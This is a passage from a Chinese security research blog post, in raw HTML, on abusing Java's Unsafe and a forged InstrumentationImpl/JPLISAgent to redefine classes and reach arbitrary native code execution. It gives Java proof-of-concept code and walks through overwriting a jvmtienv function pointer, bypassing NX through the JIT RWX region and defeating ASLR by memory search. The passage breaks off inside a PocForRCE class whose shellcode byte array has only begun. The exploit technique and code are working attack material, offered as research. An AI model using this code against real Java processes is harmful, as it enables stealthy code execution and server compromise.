class="code-snippet__keyword">void</span> <span class="code-snippet__title">doAgent</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">long</span> address</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">        Class cls = Class.forName(<span class="code-snippet__string">&#34;sun.instrument.InstrumentationImpl&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; cls.getDeclaredConstructors().length; i++) {</span></code><code><span class="code-snippet_outer">            Constructor constructor = cls.getDeclaredConstructors()[i];</span></code><code><span class="code-snippet_outer">            constructor.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">            Object obj = constructor.newInstance(address, <span class="code-snippet__literal">true</span>, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (Field f : cls.getDeclaredFields()) {</span></code><code><span class="code-snippet_outer">                f.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (f.getName().<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;mEnvironmentSupportsRedefineClasses&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">//System.out.println(&#34;mEnvironmentSupportsRedefineClasses:&#34; + f.get(obj));</span></span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (Method m : cls.getMethods()) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (m.getName().<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;redefineClasses&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">//System.out.println(&#34;redefineClasses:&#34; + m);</span></span></code><code><span class="code-snippet_outer">                    String newBirdClassStr = <span class="code-snippet__string">&#34;yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA=&#34;</span>;</span></code><code><span class="code-snippet_outer">                    Bird bird = <span class="code-snippet__keyword">new</span> Bird();</span></code><code><span class="code-snippet_outer">                    ClassDefinition classDefinition = <span class="code-snippet__keyword">new</span> ClassDefinition(</span></code><code><span class="code-snippet_outer">                            bird.getClass(),</span></code><code><span class="code-snippet_outer">                            Base64.getDecoder().decode(newBirdClassStr));</span></code><code><span class="code-snippet_outer">                    ClassDefinition[] classDefinitions = <span class="code-snippet__keyword">new</span> ClassDefinition[]{classDefinition};</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__comment">//Thread.sleep(5000);</span></span></code><code><span class="code-snippet_outer">                        m.invoke(obj, <span class="code-snippet__keyword">new</span> Object[]{classDefinitions});</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                        e.printStackTrace();</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//System.out.println(&#34;instrument obj:&#34; + obj);</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//System.out.println(&#34;constr:&#34; + cls.getDeclaredConstructors()[i]);</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> Unsafe <span class="code-snippet__title">getUnsafe</span>(<span class="code-snippet__params"></span>)</span> {</span></code><code><span class="code-snippet_outer">        Unsafe <span class="code-snippet__keyword">unsafe</span> = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            Field field = Unsafe.class.getDeclaredField(<span class="code-snippet__string">&#34;theUnsafe&#34;</span>);</span></code><code><span class="code-snippet_outer">            field.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">unsafe</span> = (Unsafe) field.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__literal">null</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> AssertionError(e);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">unsafe</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">Bird.java</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">package net.rebeyond;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Bird</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">sayHello</span>(<span class="code-snippet__params"></span>)</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;hello!&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">编译，运行： <img data-w="1080" data-type="png" style="box-sizing: border-box;" data-ratio="0.5212962962962963" src="https://wechat2rss.xlab.app/img-proxy/?k=06f307a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0ydRZyAWyVDvAicqj2jEagWJjIpAr85tvGKqKjxvuu8WBfEfgR7UPBQQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">上述环境是win10+Jdk1.8.0_301_x64，注释中内置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指纹，如果是其他OS或者JDK版本，指纹库需要对应更新。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以看到，我们成功通过纯Java代码实现了动态修改类字节码。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">按照惯例，我提出一种新的技术理论的时候，一般会直接给出一个下载即可用的exp，但是现在为了合规起见，此处只给出demo，不再提供完整的利用工具。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">Java跨平台任意Native代码执行</h3><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">确定入口</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">上文中，我们介绍了在Windows平台下巧妙利用instrument的不恰当实现来进行进程注入的技术，当注入的目标进行为-1时，可以往当前Java进程注入shellcode，实现不依赖JNI执行任意Native代码。但是这个方法仅适用于Windows平台。只适用于Windows平台的技术是不完整的：）</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">上一小节我们在伪造JPLISAgent对象的时候，留意到redefineClasses函数里面有这种代码：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="902" data-type="png" style="box-sizing: border-box;" data-ratio="0.13303769401330376" src="https://wechat2rss.xlab.app/img-proxy/?k=2312f38c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0fMwW6ZiaevB3JLM60vJf9bISfj9W6iabia8C2HKibV2N7m2s3jwMQJluvA%2F640%3Fwx_fmt%3Dpng"/><br style="box-sizing: border-box;"/>allocate函数的第一个参数是jvmtienv指针，我们跟进allocate函数：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> *<span class="code-snippet__title">allocate</span><span class="code-snippet__params">(jvmtiEnv * jvmtienv, <span class="code-snippet__keyword">size_t</span> bytecount)</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">void</span> *          resultBuffer    = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    jvmtiError      error           = JVMTI_ERROR_NONE;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    error = (*jvmtienv)-&gt;Allocate(jvmtienv,</span></code><code><span class="code-snippet_outer">                                bytecount,</span></code><code><span class="code-snippet_outer">                                (<span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">char</span>**) &amp;resultBuffer);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/* may be called from any phase */</span></span></code><code><span class="code-snippet_outer">    jplis_assert(error == JVMTI_ERROR_NONE);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ( error != JVMTI_ERROR_NONE ) {</span></code><code><span class="code-snippet_outer">        resultBuffer = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> resultBuffer;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">可以看到最终是调用的jvmtienv对象的一个成员函数，先看一下真实的jvmtienv是什么样子： <img data-w="847" data-type="png" style="box-sizing: border-box;" data-ratio="1.141676505312869" src="https://wechat2rss.xlab.app/img-proxy/?k=eebd0859&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP01EhKCSUOoCkxiaQeiaes0k3JCm4AeYjWibgsI3pkSdNYibsQZ93f7ib0xLg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">对象里是很多函数指针，看到这里，如果你经常分析二进制漏洞的话，可能会马上想到这里jvmtienv是我们完全可控的，我们只要在伪造的jvmtienv对象指定的偏移位置覆盖这个函数指针即可实现任意代码执行。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">构造如下POC：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">先动态调试看一下我们布局的payload：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="982" data-type="png" style="box-sizing: border-box;" data-ratio="0.9124236252545825" src="https://wechat2rss.xlab.app/img-proxy/?k=2e12dee6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0GVMGN6hlaT2x3L2u0cOwJx0ZMrM9GFI1nacVzTs1ZTNDchI81ZWMmA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">0x219d1b1a810为我们通过unsafe.allocateMemory分配内存的首地址，我们从这里开始布局JPLISAgent对象，0x219d1b1a818处的值0x219d1b1a820是指向jvmtienv的指针，跟进0x219d1b1a820，其值为指向真实的jvmtienv对象的指针，这里我们把他指向了他自己0x219d1b1a820，接下来我们就可以在0x219d1b1a820处布置最终的jvmtienv对象了。根据动态调试得知allocate函数指针在jvmtienv对象的偏移量为0x168，我们只要覆盖0x219d1b1a820+0x168（0x219d1b1a988）的值为我们shellcode的地址即可将RIP引入shellcode。此处我们把0x219d1b1a988处的值设置为0x219d1b1a990，紧跟在0x219d1b1a988的后面，然后往0x219d1b1a990写入shellcode。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">编译，运行：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;" data-ratio="0.5888888888888889" src="https://wechat2rss.xlab.app/img-proxy/?k=1daa9f80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0nkLwPAQWWLMXjQV69FdrWSunN9x6PqQV14jsopc0dxfaboV1ribcibgg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">进程crash了，报的异常是意料之中，仔细看下报的异常：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer">#EXCEPTION_ACCESS_VIOLATION (<span class="code-snippet__number">0xc0000005</span>) at pc=<span class="code-snippet__number">0x00000219d</span>1b1a990, pid=<span class="code-snippet__number">24840</span>, tid=<span class="code-snippet__number">0x0000000000005bf</span>c</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">内存访问异常，但是pc的值是0x00000219d1b1a990，这就是我们shellcode的首地址。说明我们的payload布置是正确的，只不过系统开启了NX（DEP），导致我们没办法去执行shellcode，下图是异常的现场，可见RIP已经到了shellcode：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.4601851851851852" src="https://wechat2rss.xlab.app/img-proxy/?k=60c539e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0RuPEdHkW9JkxkZq4P6fJbv4XkwoXUDGQ4doCuYmtpm3cUnCzyOMasw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">绕过NX(DEP)</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">上文的POC中我们已经可以劫持RIP,但是我们的shellcode部署在堆上，不方便通过ROP关闭DEP。那能不能找一块rwx的内存呢？熟悉浏览器漏洞挖掘的朋友都知道JIT区域天生RWE，而Java也是有JIT特性的，通过分析进程内存布局，可以看到Java进程确实也存在这样一个区域，如下图：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.49722222222222223" src="https://wechat2rss.xlab.app/img-proxy/?k=6715ec16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0y4KudSeIAaLS9Bkcs7bpEiaKDh7od4PcnlZhibJAwfQpOksFZQy0J6jw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">我们只要通过unsafe把shellcode写入这个区域即可。但是，还有ASLR，需要绕过ASLR才能获取到这块JIT区域。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">绕过ASLR</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在前面我们已经提到了一种通过匹配指针指纹绕过ASLR的方法，这个方法在这里同样适用。不过，这里我想换一种方法，因为通过指纹匹配的方式，需要针对不同的Java版本做适配，还是比较麻烦的。这里采用了搜索内存的方法，如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">package net.rebeyond;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">import sun.misc.Unsafe;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">import java.lang.instrument.ClassDefinition;</span></code><code><span class="code-snippet_outer">import java.lang.reflect.Constructor;</span></code><code><span class="code-snippet_outer">import java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer">import java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer">import java.util.HashMap;</span></code><code><span class="code-snippet_outer">import java.util.Map;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">PocForRCE</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String [] args</span>) throws Throwable</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> buf[] = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[]</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x83</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe4</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xf0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xe8</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xc0</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x00</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x51</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x41</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x50</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x51</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x56</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x31</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0xd2</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x65</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x60</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x18</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x52</span>,</span></code><code><span class="code-snippet_outer">                        (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x20</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x48</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x8b</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">0x72</span>, (<span 